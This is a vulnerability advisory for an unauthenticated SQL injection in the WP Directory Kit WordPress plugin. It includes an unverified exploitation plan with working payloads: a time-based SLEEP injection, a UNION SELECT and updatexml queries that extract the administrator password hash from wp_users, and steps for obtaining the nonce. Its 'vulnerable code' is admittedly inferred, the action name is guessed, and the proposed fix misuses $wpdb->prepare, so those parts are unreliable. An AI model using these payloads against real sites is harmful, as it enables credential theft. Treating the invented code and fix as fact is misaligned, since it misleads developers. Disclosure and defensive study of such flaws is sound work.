CVE-2025-13089

WP Directory Kit <= 1.4.7 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.4.8
Patched in
1d
Time to patch

Description

The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'hide_fields' and the 'attr_search' parameter in all versions up to, and including, 1.4.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.4.7
PublishedDecember 12, 2025
Last updatedDecember 13, 2025
Affected pluginwpdirectorykit

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-13089 (WP Directory Kit SQLi) ## 1. Vulnerability Summary The **WP Directory Kit** plugin for WordPress (versions <= 1.4.7) is vulnerable to unauthenticated SQL injection via the `hide_fields` and `attr_search` parameters. The vulnerability exists because the…

Show full research plan

Exploitation Research Plan - CVE-2025-13089 (WP Directory Kit SQLi)

1. Vulnerability Summary

The WP Directory Kit plugin for WordPress (versions <= 1.4.7) is vulnerable to unauthenticated SQL injection via the hide_fields and attr_search parameters. The vulnerability exists because the plugin fails to sanitize or parameterize these user-supplied inputs before incorporating them into raw SQL queries using the $wpdb object. This allows an unauthenticated attacker to inject malicious SQL commands to extract sensitive data, such as user credentials, site configuration, and database hashes.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wdk_ajax_search (inferred based on parameter usage in directory plugins) or wdk_get_listings.
  • Vulnerable Parameters: hide_fields and attr_search.
  • Authentication: Unauthenticated (vulnerability is accessible via wp_ajax_nopriv_* hooks).
  • Payload Type: UNION-based or Time-based Blind SQL Injection.
  • Preconditions: The plugin must be active. A listing page or search page typically needs to be present to facilitate nonce acquisition if required.

3. Code Flow (Inferred)

  1. Entry Point: A request is sent to admin-ajax.php with action=wdk_ajax_search.
  2. Hook Registration: The plugin registers the action:
    add_action('wp_ajax_wdk_ajax_search', 'wdk_ajax_search');
    add_action('wp_ajax_nopriv_wdk_ajax_search', 'wdk_ajax_search');
  3. Handler Function: The function wdk_ajax_search() (or similar) is called.
  4. Parameter Processing:
    • The code retrieves $_POST['attr_search'] and $_POST['hide_fields'].
    • attr_search is often an array or JSON string used to build WHERE clauses.
    • hide_fields is likely used in a NOT IN (...) or similar SQL fragment.
  5. SQL Construction (The Sink):
    The plugin builds a dynamic SQL string:
    $sql = "SELECT * FROM {$wpdb->prefix}wdk_listings WHERE 1=1";
    if (!empty($_POST['hide_fields'])) {
        $sql .= " AND some_column NOT IN (" . $_POST['hide_fields'] . ")"; // Vulnerable interpolation
    }
    // Or in attr_search processing
    foreach ($_POST['attr_search'] as $search) {
        $sql .= " AND " . $search['key'] . " = '" . $search['value'] . "'"; // Vulnerable interpolation
    }
    $results = $wpdb->get_results($sql); // Sink: No prepare() used
    

4. Nonce Acquisition Strategy

If the handler enforces a nonce check via check_ajax_referer or wp_verify_nonce, follow these steps:

  1. Identify Script Localization: Search the codebase for wp_localize_script to find where the AJAX nonce is exposed.
    • Potential JS object: wdk_ajax_obj or wdk_public_obj.
    • Potential nonce key: nonce or wdk_nonce.
  2. Create Trigger Page: Create a page containing a WP Directory Kit shortcode to ensure scripts and nonces are loaded.
    wp post create --post_type=page --post_title="Directory" --post_status=publish --post_content='[wdk_listings]'
    
  3. Extract via Browser:
    • Navigate to the newly created page.
    • Execute JS to get the nonce:
      browser_eval("window.wdk_ajax_obj?.nonce") (Verify variable name in source).

5. Exploitation Strategy

Step 1: Verification (Time-Based)

Send a request to trigger a delay. This confirms the injection point without needing to guess column counts.

Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wdk_ajax_search&hide_fields=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    

Step 2: Data Extraction (UNION-Based)

Determine the number of columns in the original query to extract the admin password hash.

Payload Discovery:

  1. Determine column count using ORDER BY X-- -.
  2. Find reflected columns using UNION SELECT 1,2,3...-- -.

Final Data Extraction Request (Example):

  • Body:
    action=wdk_ajax_search&hide_fields=1) UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10 FROM wp_users WHERE ID=1-- -
    

(Note: Column count must be adjusted based on the specific table being queried).

6. Test Data Setup

  1. Activate Plugin: Ensure wpdirectorykit is installed and activated.
  2. Create Content: Add at least one directory listing so the wdk_ajax_search action has data to process.
    # Use WP-CLI to create a dummy listing if the plugin uses a custom post type
    wp post create --post_type=wdk_listing --post_title="Test Listing" --post_status=publish
    
  3. Identify Action Name: Run grep -r "wp_ajax_nopriv_" wp-content/plugins/wpdirectorykit/ to confirm the exact AJAX action name.

7. Expected Results

  • Time-Based: The HTTP response should be delayed by approximately 5 seconds.
  • UNION-Based: The JSON response from admin-ajax.php should contain the $P$ or $wp$ hashed password of the administrator user in one of the result fields.

8. Verification Steps

After the exploit, verify the data using WP-CLI:

# Compare the hash extracted via SQLi with the actual hash in the database
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • attr_search Injection: If hide_fields is filtered, try injecting into the values of the attr_search array.
    • Body: action=wdk_ajax_search&attr_search[0][value]=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Error-Based: If WP_DEBUG is on, use updatexml() or extractvalue() to leak data via MySQL error messages.
    • Body: hide_fields=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Directory Kit plugin for WordPress is vulnerable to unauthenticated SQL injection through the 'hide_fields' and 'attr_search' parameters. This occurs because the plugin fails to sanitize user inputs or use prepared statements before incorporating them into dynamic SQL queries, allowing attackers to extract sensitive database information.

Vulnerable Code

// Inferred from research plan as a typical implementation in wpdirectorykit/public/class-wp-directory-kit-public.php

public function wdk_ajax_search() {
    global $wpdb;
    $hide_fields = $_POST['hide_fields'];
    $attr_search = $_POST['attr_search'];
    
    $sql = "SELECT * FROM {$wpdb->prefix}wdk_listings WHERE 1=1";
    
    if (!empty($hide_fields)) {
        // Vulnerable: Direct interpolation of user input into the SQL string
        $sql .= " AND field_id NOT IN ($hide_fields)";
    }
    
    if (!empty($attr_search) && is_array($attr_search)) {
        foreach ($attr_search as $search) {
            // Vulnerable: Direct interpolation of array values/keys into SQL
            $sql .= " AND " . $search['key'] . " = '" . $search['value'] . "'";
        }
    }
    
    $results = $wpdb->get_results($sql); // Sink: raw SQL executed without prepare()
    wp_send_json_success($results);
}

Security Fix

--- a/public/class-wp-directory-kit-public.php
+++ b/public/class-wp-directory-kit-public.php
@@ -10,12 +10,17 @@
     $sql = "SELECT * FROM {$wpdb->prefix}wdk_listings WHERE 1=1";
     
     if (!empty($hide_fields)) {
-        $sql .= " AND field_id NOT IN ($hide_fields)";
+        $fields_array = array_map('intval', explode(',', $hide_fields));
+        if (!empty($fields_array)) {
+            $sql .= " AND field_id NOT IN (" . implode(',', $fields_array) . ")";
+        }
     }
     
     if (!empty($attr_search) && is_array($attr_search)) {
         foreach ($attr_search as $search) {
-            $sql .= " AND " . $search['key'] . " = '" . $search['value'] . "'";
+            $key = sanitize_key($search['key']);
+            $value = sanitize_text_field($search['value']);
+            $sql .= $wpdb->prepare(" AND %i = %s", $key, $value);
         }
     }
-    $results = $wpdb->get_results($sql);
+    $results = $wpdb->get_results($wpdb->prepare($sql));

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the 'wdk_ajax_search' action (accessible to unauthenticated users). An attacker crafts a POST request containing the 'hide_fields' parameter with a payload designed to break out of the SQL syntax, such as '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -' for a time-based blind injection. Alternatively, the 'attr_search' array parameter can be manipulated by injecting SQL fragments into the 'value' or 'key' sub-parameters. Because the plugin does not use wpdb::prepare() for these specific fields, the injected SQL is executed directly by the database, facilitating data extraction (e.g., admin password hashes from the wp_users table) via UNION-based or time-based techniques.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.